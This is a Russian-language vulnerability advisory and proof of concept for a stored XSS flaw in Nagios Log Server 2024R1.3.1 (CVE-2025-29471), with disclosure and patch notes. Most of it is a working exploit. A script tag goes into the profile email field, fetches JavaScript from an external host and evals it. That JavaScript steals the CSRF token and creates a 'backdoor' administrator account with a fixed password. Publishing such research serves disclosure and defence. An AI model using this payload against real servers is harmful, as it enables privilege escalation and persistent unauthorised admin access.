
# XSS-хранилище в Nagios Log Server 2024R1.3.1
2024R1.3.1 и нижеNagios Log Server 2024R1.3.1 (конфигурация по умолчанию, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HТолько для авторизованного тестирования и исследований. Не тестируйте и не эксплуатируйте эту уязвимость на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Уязвимость Stored XSS в Nagios Log Server 2024R1.3.1 позволяет пользователю с низкими привилегиями внедрить вредоносный JavaScript в поле 'email' своего профиля.
Когда администратор просматривает журналы аудита, полезная нагрузка выполняется, что приводит к повышению привилегий путём несанкционированного создания учётной записи администратора.
xss.js на своём внешнем сервере со следующим содержимым. Github вполне подойдёт.Замените <target-ip> на IP/имя хоста целевого Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Войдите в Nagios Log Server как обычный (не административный) пользователь.
Перейдите к эндпоинту обновления профиля:
http://<target-ip>/nagioslogserver/profile/update
Внедрите следующую полезную нагрузку в поле электронной почты. Обновите строку fetch, указав URL, по которому хранится xss.js.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor с полным административным доступом в Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 устраняет уязвимость хранимого XSS, и уведомил NagiosCVE-2025-29471 для этой уязвимости хранимого XSS, но детали остались неопубликованными из-за отсутствия публичного уведомления о безопасности от производителя2024R1.3.2), переносящее исправление уязвимости хранимого XSS в ветку 2024R1CVE-2025-29471 был официально опубликованЭта работа была выполнена вне рамок моей занятости и отражает мои личные усилия в области исследований кибербезопасности.